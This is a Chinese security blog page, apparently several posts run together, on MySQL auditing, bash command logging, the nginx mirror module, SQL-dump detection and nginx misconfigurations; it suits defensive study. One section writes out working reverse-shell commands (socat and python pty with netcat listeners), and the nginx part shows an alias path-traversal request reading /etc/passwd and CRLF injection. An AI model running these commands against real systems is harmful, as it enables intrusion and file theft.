看到同程安全应急响应中心发的文章XSS Trap – XSS DNS防护的简单尝试的思路,很多人都是使用网络上的XSS Platform,比较常用的就那几个,另外还用公开的搭建代码搭建XSS Platform,可以通过搜索引擎收集到一些。那么如果企业中有Local DNS,那么就可以配置这些域名的解析到指定服务器,然后返回自己的JS文件,然后查看自己的XSS Platform就可以知道XSS的位置。

域名列表:https://sec.ly.com/xsspt.txt
参考文章:http://sec.ly.com/blogdetail?id=17

0x01 概述


安全的核心是数据,数据库安全也是企业安全中很重要的一点,当然数据库安全涉及到很多方面,又衍生出很多安全产品,例如数据库审计、数据库防火墙、数据库加密、数据库脱敏等,本文主要阐述企业内部Mysql DB审计记录SQL执行的实现。按照部署方式分为以下几种:

1)流量镜像

旁路部署,透明部署,不影响网络拓扑,也不会造成额外的性能消耗。

2)DB Proxy

很多公司都有Mysql中间件,用于读写分离、负载均衡、监控等等。

3)DB Server部署Agent

在每台DB Server上安装Agent获取DB流量。

4)DB审计插件

安装插件记录增删改查语句,然后采集生成日志。

这里我们介绍一下比较流行的分析工具和插件。

 

0x02 DB审计插件


1、Mariadb Audit插件

从Mariadb 10.0版本开始audit插件直接内嵌了,名称为server_audit.so,可以直接加载使用。配置过程如下:

配置yum 数据源:

cd /etc/yum.repos.d/ 

vim /etc/yum.repos.d/MariaDB.repo

写入以下内容:

# MariaDB 10.0 CentOS repository list - created 2015-08-12 10:59 UTC 

# http://mariadb.org/mariadb/repositories/ 

[mariadb] 

name = MariaDB 

baseurl = http://yum.mariadb.org/10.0/centos6-amd64 

gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB 

gpgcheck=1

安装数据库:

yum -y install MariaDB-server MariaDB-client

启动数据库:

service mysql start

设置root密码:

mysqladmin -u root -p password 'hehe123'

安装审计插件:

MariaDB [(none)]> install plugin server_audit soname 'server_audit.so';

Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> show variables like '%audit%';

+-------------------------------+-----------------------+

| Variable_name                 | Value                 |

+-------------------------------+-----------------------+

| server_audit_events           |                       |

| server_audit_excl_users       |                       |

| server_audit_file_path        | server_audit.log      |

| server_audit_file_rotate_now  | OFF                   |

| server_audit_file_rotate_size | 1000000               |

| server_audit_file_rotations   | 9                     |

| server_audit_incl_users       |                       |

| server_audit_logging          | OFF                   |

| server_audit_mode             | 0                     |

| server_audit_output_type      | file                  |

| server_audit_query_log_limit  | 1024                  |

| server_audit_syslog_facility  | LOG_USER              |

| server_audit_syslog_ident     | mysql-server_auditing |

| server_audit_syslog_info      |                       |

| server_audit_syslog_priority  | LOG_INFO              |

+-------------------------------+-----------------------+

15 rows in set (0.00 sec)

参数说明:

server_audit_output_type:指定日志输出类型,可为SYSLOG或FILE

server_audit_logging:启动或关闭审计

server_audit_events:指定记录事件的类型,可以用逗号分隔的多个值(connect,query,table),如果开启了查询缓存(query cache),查询直接从查询缓存返回数据,将没有table记录

server_audit_file_path:如server_audit_output_type为FILE,使用该变量设置存储日志的文件,可以指定目录,默认存放在数据目录的server_audit.log文件中

server_audit_file_rotate_size:限制日志文件的大小

server_audit_file_rotations:指定日志文件的数量,如果为0日志将从不轮转

server_audit_file_rotate_now:强制日志文件轮转

server_audit_incl_users:指定哪些用户的活动将记录,connect将不受此变量影响,该变量比server_audit_excl_users 优先级高

server_audit_syslog_facility:默认为LOG_USER,指定facility

server_audit_syslog_ident:设置ident,作为每个syslog记录的一部分

server_audit_syslog_info:指定的info字符串将添加到syslog记录

server_audit_syslog_priority:定义记录日志的syslogd priority

server_audit_excl_users:该列表的用户行为将不记录,connect将不受该设置影响

server_audit_mode:标识版本,用于开发测试

 

vim /etc/my.cnf.d/server.cnf

在[server]下添加:

server_audit_events='CONNECT,QUERY,TABLE'

server_audit_logging=ON     

server_audit_file_rotate_size = 10G   

server_audit_file_path='/tmp/server_audit.log'

执行数据库操作,审计到的内容如下:

20170307 08:39:55,kafka112,root,localhost,3,67,READ,test,test,

20170307 08:39:55,kafka112,root,localhost,3,67,QUERY,test,'select * from test',0

20170307 08:40:29,kafka112,root,localhost,3,0,DISCONNECT,test,,0

20170307 08:41:06,kafka112,root,localhost,4,0,FAILED_CONNECT,,,1045

20170307 08:41:06,kafka112,root,localhost,4,0,DISCONNECT,,,0

20170307 08:41:11,kafka112,root,localhost,5,0,CONNECT,,,0

20170307 08:41:11,kafka112,root,localhost,5,69,QUERY,,'select @@version_comment limit 1',0

20170307 08:41:22,kafka112,root,localhost,5,70,QUERY,,'show variables like \'%audit%\'',0

2Mysql audit plugin

Mysql audit plugin是Mcafee开源的Mysql审计工具,支持版本为MySQL (5.1, 5.5, 5.6, 5.7),MariaDB (5.5, 10.0, 10.1) ,Platform (32 or 64 bit)。

插件地址如下:

https://bintray.com/mcafee/mysql-audit-plugin/release

根据Mysql版本下载配对的版本插件。

https://bintray.com/mcafee/mysql-audit-plugin/release/1.1.4-725?versionPath=%2Fmcafee%2Fmysql-audit-plugin%2Frelease%2F1.1.4-725#files

下载解压后,在Lib目录下找到libaudit_plugin.so

查看plugin目录

mysql> show variables like '%plugin%';

+---------------+-------------------------+

| Variable_name | Value                   |

+---------------+-------------------------+

| plugin_dir    | /usr/lib64/mysql/plugin |

+---------------+-------------------------+

1 row in set (0.00 sec)

将libaudit_plugin.so复制到Plugin_dir下

安装插件:

mysql> INSTALL PLUGIN AUDIT SONAME 'libaudit_plugin.so';

Query OK, 0 rows affected (0.35 sec)

查看版本:

mysql> show global status like '%audit%';

+------------------------+-----------+

| Variable_name          | Value     |

+------------------------+-----------+

| Audit_protocol_version | 1.0       |

| Audit_version          | 1.1.4-725 |

+------------------------+-----------+

2 rows in set (0.01 sec)

开启审计功能

mysql> set global audit_json_file = ON;

Query OK, 0 rows affected (0.00 sec)

查看配置参数

mysql> show global variables like '%audit%'\G

*************************** 1. row ***************************

Variable_name: audit_before_after

        Value: after

*************************** 2. row ***************************

Variable_name: audit_checksum

        Value:

*************************** 3. row ***************************

Variable_name: audit_client_capabilities

        Value: OFF

*************************** 4. row ***************************

Variable_name: audit_delay_cmds

        Value:

*************************** 5. row ***************************

Variable_name: audit_delay_ms

        Value: 0

*************************** 6. row ***************************

Variable_name: audit_force_record_logins

        Value: OFF

*************************** 7. row ***************************

Variable_name: audit_header_msg

        Value: ON

*************************** 8. row ***************************

Variable_name: audit_json_file

        Value: ON

*************************** 9. row ***************************

Variable_name: audit_json_file_bufsize

        Value: 1

*************************** 10. row ***************************

Variable_name: audit_json_file_flush

        Value: OFF

*************************** 11. row ***************************

Variable_name: audit_json_file_retry

        Value: 60

*************************** 12. row ***************************

Variable_name: audit_json_file_sync

        Value: 0

*************************** 13. row ***************************

Variable_name: audit_json_log_file

        Value: mysql-audit.json

*************************** 14. row ***************************

Variable_name: audit_json_socket

        Value: OFF

*************************** 15. row ***************************

Variable_name: audit_json_socket_name

        Value: /var/run/db-audit/mysql.audit__var_lib_mysql_3306

*************************** 16. row ***************************

Variable_name: audit_json_socket_retry

        Value: 10

*************************** 17. row ***************************

Variable_name: audit_json_socket_write_timeout

        Value: 1000

*************************** 18. row ***************************

Variable_name: audit_offsets

        Value:

*************************** 19. row ***************************

Variable_name: audit_offsets_by_version

        Value: ON

*************************** 20. row ***************************

Variable_name: audit_password_masking_cmds

        Value: CREATE_USER,GRANT,SET_OPTION,SLAVE_START,CREATE_SERVER,ALTER_SERVER,CHANGE_MASTER,UPDATE

*************************** 21. row ***************************

Variable_name: audit_password_masking_regex

        Value: identified(?:/\*.*?\*/|\s)*?by(?:/\*.*?\*/|\s)*?(?:password)?(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]|password(?:/\*.*?\*/|\s)*?\((?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"](?:/\*.*?\*/|\s)*?\)|password(?:/\*.*?\*/|\s)*?(?:for(?:/\*.*?\*/|\s)*?\S+?)?(?:/\*.*?\*/|\s)*?=(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]|password(?:/\*.*?\*/|\s)*?['|"](?<psw>.*?)(?<!\\)['|"]

*************************** 22. row ***************************

Variable_name: audit_record_cmds

        Value:

*************************** 23. row ***************************

Variable_name: audit_record_objs

        Value:

*************************** 24. row ***************************

Variable_name: audit_socket_creds

        Value: ON

*************************** 25. row ***************************

Variable_name: audit_uninstall_plugin

        Value: OFF

*************************** 26. row ***************************

Variable_name: audit_validate_checksum

        Value: ON

*************************** 27. row ***************************

Variable_name: audit_validate_offsets_extended

        Value: ON

*************************** 28. row ***************************

Variable_name: audit_whitelist_cmds

        Value: BEGIN,COMMIT,PING

*************************** 29. row ***************************

Variable_name: audit_whitelist_users

        Value:

29 rows in set (0.00 sec)

常用的参数:

1)audit_json_file

是否开启audit功能。

2)audit_json_log_file

日志文件路径。默认会在mysql data目录下,查看Data目录路径:

mysql> show variables like ‘datadir’;

+—————+—————–+

| Variable_name | Value           |

+—————+—————–+

| datadir       | /var/lib/mysql/ |

+—————+—————–+

1 row in set (0.00 sec)

3)audit_record_cmds

记录的操作类型,默认为记录所有命令。

mysql> set global audit_record_cmds=’select,insert,update,delete’;

Query OK, 0 rows affected (0.00 sec)

修改为默认

mysql> set global audit_record_cmds = NULL;

Query OK, 0 rows affected (0.00 sec)

4) audit_record_objs

audit记录操作的对象,默认为所有。

mysql> set global audit_record_objs = ‘test.*’;

Query OK, 0 rows affected (0.00 sec)

修改为默认

mysql> set global audit_record_objs = NULL;

Query OK, 0 rows affected (0.00 sec)

5) audit_whitelist_users

用户白名单。

 

这里测试一下,Mysql执行show databases;,日志如下:

{"msg-type":"activity","date":"1502854234067","thread-id":"2","query-id":"15","user":"root","priv_user":"root","host":"localhost","pid":"14373","os_user":"root","appname":"mysql","rows":"5","cmd":"show_databases","objects":[{"db":"information_schema","name":"/tmp/#sql_37a1_0","obj_type":"TABLE"}],"query":"show databases"}

 

0x03 流量镜像


镜像DB交换机接口双向流量,不影响当前网络架构,这里我们介绍两种方式。

1、Packetbeat

Packetbeat通过嗅探应用服务器之间的网络通讯,来解码应用层协议类型如HTTP、MySQL、redis等等,关联请求与响应,并记录每个事务有意义的字段。我们可以部署在Mysql Server上,也可以部署在流量镜像服务器。部署方式如下:

yum -y install libpcap

./packetbeat -c packetbeat.yml

packetbeat.yml为配置文件

packetbeat.template.json为mapping文件

测试:

mysql> select host,user from mysql.user;

+-----------+------+

| host      | user |

+-----------+------+

| %         | root |

| %         | soc  |

| 127.0.0.1 | root |

| localhost |      |

| localhost | soc  |

+-----------+------+

5 rows in set (0.00 sec)

输出到Elasticsearch内容如下:

query:执行的SQL语句

num_fields:返回的字段数

num_rows:查询结果行数

 

2、MySQL Sniffer

MySQL Sniffer 是一个基于 MySQL 协议的抓包工具,实时抓取 MySQLServer 端或 Client 端请求,并格式化输出。输出内容包括访问时间、访问用户、来源 IP、访问 Database、命令耗时、返回数据行数、执行语句等。有批量抓取多个端口,后台运行,日志分割等多种使用方式,操作便捷,输出友好。

安装依赖:

yum install glib2-devel libpcap-devel libnet-devel

项目下载地址:

https://github.com/Qihoo360/mysql-sniffer

安装步骤:

cd mysql-sniffer

mkdir proj

cd proj

cmake ../

make

cd bin/

参数如下:

[root@server120 bin]# ./mysql-sniffer -h

Usage ./mysql-sniffer [-d] -i eth0 -p 3306,3307,3308 -l /var/log/mysql-sniffer/ -e stderr

         [-d] -i eth0 -r 3000-4000

         -d daemon mode.

         -s how often to split the log file(minute, eg. 1440). if less than 0, split log everyday

         -i interface. Default to eth0

         -p port, default to 3306. Multiple ports should be splited by ','. eg. 3306,3307

            this option has no effect when -f is set.

         -r port range, Don't use -r and -p at the same time

         -l query log DIRECTORY. Make sure that the directory is accessible. Default to stdout.

         -e error log FILENAME or 'stderr'. if set to /dev/null, runtime error will not be recorded

         -f filename. use pcap file instead capturing the network interface

         -w white list. dont capture the port. Multiple ports should be splited by ','.

         -t truncation length. truncate long query if it's longer than specified length. Less than 0 means no truncation

         -n keeping tcp stream count, if not set, default is 65536. if active tcp count is larger than the specified count, mysql-sniffer will remove the oldest one

测试:

[root@server120 bin]# ./mysql-sniffer -i lo -p 3306

2017-08-16 13:56:04  root     127.0.0.1     NULL              0ms              1  select @@version_comment limit 1

2017-08-16 14:01:56  root     127.0.0.1     NULL              0ms             1  SELECT DATABASE()

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms              0  use mysql

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms              5  show databases

2017-08-16 14:01:56  root     127.0.0.1     mysql            0ms            23 show tables

2017-08-16 14:02:04  root     127.0.0.1     mysql            0ms              8  select * from user

输出格式为:时间,访问用户,来源 IP,访问 Database,命令耗时,返回数据行数,执行语句。

保存日志可以用filebeat采集:

[root@server120 bin]# ./mysql-sniffer -i eth0 -p 3306 -l /tmp/

[root@server120 tmp]# head -n 5 3306.log

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              0  SET NAMES utf8

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              2  SHOW VARIABLES LIKE 'lower_case_%'

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              1  SHOW VARIABLES LIKE 'profiling'

2017-08-16 14:04:58  root     192.168.190.201       NULL              0ms              5  SHOW DATABASES

2017-08-16 14:05:20  root     192.168.190.201       NULL              0ms              0  SET NAMES utf8

-l 指定日志输出路径,日志文件将以 port.log 命名。

需要注意的是:

只能抓取新建的链接,如果是之前创建的链接将获取不到用户名和库名,并有一定几率丢包。

PS:

同事在使用DVWA测试的时候发现抓不到3306的包,原来是因为DVWA配置的数据库源是localhost,其实localhost和127.0.0.1不一样。

localhot不经网卡传输,它不受网络防火墙和网卡相关的的限制。

127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制。

 

0x04 拖库检测


根据SQL注入的特征,我们可以从以下角度分析:

1)QPS基线,例如通常凌晨的业务量小,QPS会比较低,而如果日志数突然增多,那么很有可能存在拖库行为。

2)特征匹配,这里就有些类似于WAF,例如通常Mysql注入会查询Information_schema,SQLMAP托库语句使用大量IFNULL、ORD、MID、CAST函数,时间盲注中用到的sleep和benchmark且命令耗时长,报错注入中用到的floor和updatexml等等。日志使用Logstash采集的时候,命中相关规则则打标,使用ElastALert监控单位时间内异常日志数量超过阈值则告警。

当然这是通用做法,如果对业务熟悉之后可以添加更细致准确的检测规则。

 

 

最近nginx官网公布了nginx1.13.4最新的ngx_http_mirror_module模块,利用mirror模块,业务可以将线上实时访问流量拷贝至其他环境,该流量可用于压测或者旁路做一些检测。

mirror模块配置分为两部分,源地址和镜像地址配置,配置位置可以为nginx配置文件的http, server, location上下文,配置示例为:

# original配置
location / {
    mirror /mirror;
    mirror_request_body off;
    proxy_pass http://127.0.0.1:9502;
}

# mirror配置
location /mirror {
    internal;
    proxy_pass http://127.0.0.1:8081$request_uri;
    proxy_set_header X-Original-URI $request_uri;
}

 

1)original配置
location /指定了源uri为/
mirror /mirror指定镜像uri为/mirror
mirror_request_body off | on 指定是否镜像请求body部分,此选项与proxy_request_buffering、fastcgi_request_buffering、scgi_request_buffering和 uwsgi_request_buffering冲突,一旦开启mirror_request_body为on,则请求自动缓存;
proxy_pass 指定上游server的地址

2)mirror配置
internal 指定此location只能被“内部的”请求调用,外部的调用请求会返回”Not found” (404)
proxy_pass 指定上游server的地址
proxy_set_header 设置镜像流量的头部

整个请求流程为:

1)curl向nginx 80端口发起GET / HTTP请求
2)nginx将请求转发至upstream 9502端口的original PHP脚本,nginx本地端口为51637
3)nginx将请求镜像发至upstream 8081端口的mirror PHP脚本,nginx本地端口为51638
4)original发送响应response to client至nginx
5)nginx将响应转发至curl,curl将响应展示到终端
6)mirror将响应发送至nginx,nginx丢弃。

参考文章:
https://segmentfault.com/p/1210000010610500/read

 

1)Python pty模块
对于已经安装了python的系统,我们可以使用python提供的pty模块命令如下:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
测试如下:

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42425
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

不过还是无法使用向上使用历史命令、Ctrl+C、Tab补全。

2)使用socat
监听命令:

socat file:`tty`,raw,echo=0 tcp-listen:4444

反弹命令:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.192.144:4444

测试如下:

[root@server144 src]# socat file:`tty`,raw,echo=0 tcp-listen:4444 
[root@server120 src]# whoami
root
[root@server120 src]# sleep 5
^C
[root@server120 src]#

支持向上使用历史命令、Ctrl+C、Tab补全。

3)使用stty选项
刚才测试发现第一种方法不支持向上使用历史命令、Ctrl+C、Tab补全,可使用stty选项升级。
首先和第一种方法一样

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42450
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# ^Z
[1]+ Stopped ./netcat -vv -l -p 2345
[root@server144 src]# echo $TERM
xterm
[root@server144 src]# stty -a
speed 38400 baud; rows 31; columns 104; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel
-iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

所需的信息是TERM类型(”xterm”)和当前TTY的大小(31行;104列)

[root@server144 src]# stty raw -echo

输入fg并执行(这里看不到输入,使用raw stty,可能看不到下一个命令,但是当你键入时,它们则会被执行。)

$ reset
$ export SHELL=bash
$ export TERM=xterm
$ stty rows 31 columns 104

然后就能支持向上使用历史命令、Ctrl+C、Tab补全。

参考文章:
http://www.freebuf.com/news/142195.html

0x01 概述


Bash命令收集主要是用于在没有堡垒机和跳板机情况下实现运维操作集中审计,另外就是针对一些攻击者入侵服务器后反弹Bash或者sh等做监控。这里提供两种通过Syslog收集的方式。

0x02 通过修改Bash源码发送Syslog


从bash4.1 版本开始,bash开始支持Rsyslog,下载bash-4.4,下载地址: https://ftp.gnu.org/gnu/bash/

具体步骤如下:
1)
修改bashhist.c:
修改771行

syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, line);

修改776行

syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, trunc);

2)
再修改config-top.h
去掉116行/**/

#define SYSLOG_HISTORY 
#if defined (SYSLOG_HISTORY)
# define SYSLOG_FACILITY LOG_LOCAL6
# define SYSLOG_LEVEL LOG_NOTICE
# define OPENLOG_OPTS LOG_PID
#endif

syslog的FACILITY为 LOCAL6,日志级别为NOTICE
3)

./configure --prefix=/usr/local/bash && make && make install 
[root@localhost ~]# cp /bin/bash /bin/bashbak 
[root@localhost ~]# \cp -f /usr/local/bash/bin/bash /bin/bash

4)
修改rsyslog配置,这里我们先输出到本地测试一下

[root@zaojiasys_31 admin]# touch /var/log/bash.log
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf

添加local6.notice /var/log/bash.log

[root@zaojiasys_31 admin]# service rsyslog restart
[root@zaojiasys_31 admin]# tail -f /var/log/bash.log 
Jul 25 16:22:15 localhost bash[18540]: PID=18540 UID=0 User=root Cmd=tail -f /var/log/bash.log 
Jul 25 16:22:21 localhost bash[19033]: PID=19033 UID=0 User=root Cmd=whoami

5)
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
修改*.info;mail.none;authpriv.none;cron.none;local6.none; /var/log/messages
添加local6.notice @10.110.1.33:3514

使用ELK,首先配置logstash

input {
	syslog{  
		port => "3514"  
		type => "bash"
	}  
}

filter {
    grok{
        match => {
            "message" => "PID=%{NUMBER:processid} UID=%{NUMBER:uid} User=%{WORD:user} Cmd=%{GREEDYDATA:cmd}"
        }
    }
    mutate {
        remove_field => [ "message" ]
    }
}

output {
   if "_grokparsefailure" not in [tags] {
        elasticsearch {
            hosts => "10.110.1.33:9200"
            index => "bash_%{+YYYY.MM.dd}"
        }
    }
}

Elasticsearch 添加模板

curl -XPUT 10.59.0.248:9200/_template/template_bash -d '
{
   "template": "bash_*", 
   "order" : 10,
   "settings" : {
      "number_of_shards": 5,
      "number_of_replicas": 0
   },
   "mappings" : {
    "_default_" : {
      "_all" : {"enabled" : true, "omit_norms" : true},
      "properties" : {
        "host": { "type": "keyword"},
        "cmd": { "type": "keyword"},
        "user": { "type": "keyword"},
        "uid": { "type": "integer"},
        "processid": { "type": "integer"}
      }
    }
  }
}

查看Kibana

[root@server120 ~]# ll /bin/sh
lrwxrwxrwx. 1 root root 4 3月 21 2016 /bin/sh -> bash

/bin/sh是软链到/bin/bash的,/bin/sh也可以审计到。
另外禁用其他的shell:

# chmod 750 /bin/csh
# chmod 750 /bin/tcsh
# chmod 750 /bin/dash

PS:
需要注意GLIBC的版本如果不一致的话,那么启动Bash就会有问题。

[root@localhost ~]# /bin/bash
/bin/bash: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /bin/bash)

0x03 通过Logger发送Syslog


客户端具体配置如下:

在/etc/profile中添加行:

[ -f /etc/zb_bashrc ] && . /etc/zb_bashrc

/etc/zb_bashrc的内容如下:

if [ "$BASH" ]; then

    SSH_USER=$(who -mu  |awk '{print $1}')

    if [ -z "$SSH_USER" ]; then

        SSH_USER="-"

    fi



    SSH_CLIENT_IP=$(echo $SSH_CONNECTION |awk '{print $1}')

       if [ -z "$SSH_CLIENT_IP" ]; then

              SSH_CLIENT_IP="-"

       fi



    SSH_SERVER_IP=$(echo $SSH_CONNECTION |awk '{print $3}')

       if [ -z "$SSH_SERVER_IP" ]; then

              SSH_SERVER_IP="-"

       fi



    if [ -f "$HOME/.bash_history" ]; then

        export HISTFILE="$HOME/.bash_history"

    else

        touch $HOME/.bash_history

        chmod 600 $HOME/.bash_history

        export HISTFILE="$HOME/.bash_history"

    fi

    export HISTSIZE=100

    export HISTCONTROL=""

    export HISTIGNORE=""

    export HISTCMD

    export HISTTIMEFORMAT="%Y-%m-%d %T :: "

    PROMPT_COMMAND='history -a;history 1 | xargs -0 -i logger -p local6.notice $SSH_CLIENT_IP $SSH_SERVER_IP $SSH_USER $USER{}'

    readonly PROMPT_COMMAND

    readonly HISTTIMEFORMAT

    readonly HISTSIZE

    readonly HISTFILE

    readonly HISTIGNORE

    readonly HISTCONTROL

fi

执行source /etc/profile

修改rsysLog的配置

添加local6.notice @10.211.0.107

修改*.info;mail.none;authpriv.none;cron.none;local6.none                /var/log/messages

service rsyslog restart

 

期间遇到的问题:

1、日志重复收取

如下

增加一条配置:

$RepeatedMsgReduction on

需要注意该条配置需要放到发送syslog配置条目上面才能生效。

重复的日志会提示last message repeated X times,然后在logstash加一条配置,把该条都drop掉。

if ( "last message" in [message] ) {

       drop{}

}

最后Logstash的配置文件如下:

input {

       udp { 

          port => "514" 

          workers => "10"

       } 

}

filter {

       if ("last message" in [message]) {

              drop{}

       }

    dissect {

        mapping => {

            "message" => '<%{pri}>%{} %{} %{} %{} %{}: %{client_ip} %{server_ip} %{ssh_user} %{user}  %{line}  %{timestamp} :: %{command}'

        }

    }

       date {

           match => ["timestamp", "yyyy-MM-dd HH:mm:ss"]

           target => "@timestamp"

           "locale" => "en"

           timezone => "UTC"

       }

}

output {

       redis {

              host => "127.0.0.1"

              data_type => "list"

              key => "command"

              db => "2"

       }

}

2、sh执行命令无法记录

其实/bin/sh是软链到的/bin/bash,但是不会加载配置文件。

 

0x04 SaltStack批量部署


推荐第一种,模板如下:

install_bash:

  cmd.run:

    - name: tar zxvf bash.tar.gz && cd bash && ./configure --prefix=/usr/local/bash && make && make install

    - cwd: /root/Downloads

    - unless: test -e /usr/local/bash/bin/bash

    - require:

      - file: /root/Downloads/bash.tar.gz



/root/Downloads/bash.tar.gz:

  file.managed:

    - source: salt://audit/bash.tar.gz

    - user: root

    - group: root

    - mode: 755

    - template: jinja

    - require:

      - file: /root/Downloads



bak_bash:

  cmd.run:

    - name: cp /bin/bash /bin/bashbak

    - unless: test -e /bin/bashbak

    - require:

      - cmd: install_bash



cp_bash:

  cmd.run:

    - name: \cp -f /usr/local/bash/bin/bash /bin/bash

    - require:

      - cmd: bak_bash



/etc/rsyslog.conf:

  file.append:

    - text: "local6.notice                                               @10.59.0.58:3514"

    - unless: grep '10.59.0.58' /etc/rsyslog.conf



rsyslog:

  service.running:

    - enable: True

    - restart: True

    - watch:

      - file: /etc/rsyslog.conf

参考文章:

http://os.51cto.com/art/201102/244661.htm
http://www.freebuf.com/articles/system/140543.html
http://www.freebuf.com/articles/system/135845.html

1、CRLF
需要注意的地方:
a)rewrite, return, add_header, proxy_set_header or proxy_pass中
b)使用了$uri和$document_uri,因为这两个参数会进行URL解码,正确配置应该是$request_uri。

c)变量,例如(?P<myvar>[^.]+).

这里先测试一下$uri
添加一条配置

location /sectest {
  return 302 https://$host$uri;
}

结果如下:

 

修改配置为

location /sectest {
  return 302 https://$host$request_uri;
}

结果如下:

测试一下匹配变量导致的CRLF
添加

    location ~ /v1/((?<action>[^.]*)\.json)?$ {
        add_header X-Action $action;
        return 200 "OK";
    }

结果如下:

应该修改正则为

    location ~ /v1/((?<action>[^.\s]*)\.json)?$ {
        add_header X-Action $action;
        return 200 "OK";
    }

2、HTTP头覆盖
如果location有add_header,那么以location为准。如果location没有add_header,则继承Http和server块的add_header内容。
官方配置例子如下:

server {
  listen 80;
  add_header X-Frame-Options "DENY" always;
  location / {
      return 200 "index";
  }

  location /new-headers {
    # Add special cache control
    add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate" always;
    add_header Pragma "no-cache" always;

    return 200 "new-headers";
  }
}

如果访问/,响应头中有X-Frame-Options

GET / HTTP/1.0

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 09 Jan 2017 19:28:33 GMT
Content-Type: application/octet-stream
Content-Length: 5
Connection: close
X-Frame-Options: DENY

index

如果访问/new-headers,响应头中没有X-Frame-Options

GET /new-headers HTTP/1.0


HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 09 Jan 2017 19:29:46 GMT
Content-Type: application/octet-stream
Content-Length: 11
Connection: close
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

new-headers

 

3、alias导致的任意文件读取
错误配置示例如下:

location /files {
  alias /home/;
}

这里如果访问http://example.com/files/readme.txt,就可以获取/home/readme.txt文件。
如果访问http://example.com/files../etc/passwd就可以读取/etc/passwd

需要注意,这里只能添加一个../,也就是跳到上层的目录,这里我修改nginx的配置如下:

        location /files {
                alias /home/elk/;
        }

修复建议:
location和alias的最后必须都带/或者都不带/

Gixy介绍
开源程序https://github.com/yandex/gixy用来检测Nginx配置中存在的问题
安装使用:

pip install gixy
gixy /etc/nginx/nginx.conf

检查项如下:

[ssrf] Server Side Request Forgery
[http_splitting] HTTP Splitting
[origins] Problems with referrer/origin validation
[add_header_redefinition] Redefining of response headers by "add_header" directive
[host_spoofing] Request's Host header forgery
[valid_referers] none in valid_referers
[add_header_multiline] Multiline response headers

参考文章:
https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html
https://mp.weixin.qq.com/s?__biz=MzIzOTQ5NjUzOQ==&mid=2247483699&idx=1&sn=6f0394df7be9aafd65c12002c2bb4f10&chksm=e9287d07de5ff41165757618d932021e1b8e036fd0c1b8305e38ad693097cf05e37b76928eb5&mpshare=1&scene=23&srcid=0714xbWwfcwuCe7XA9oIQryo#rd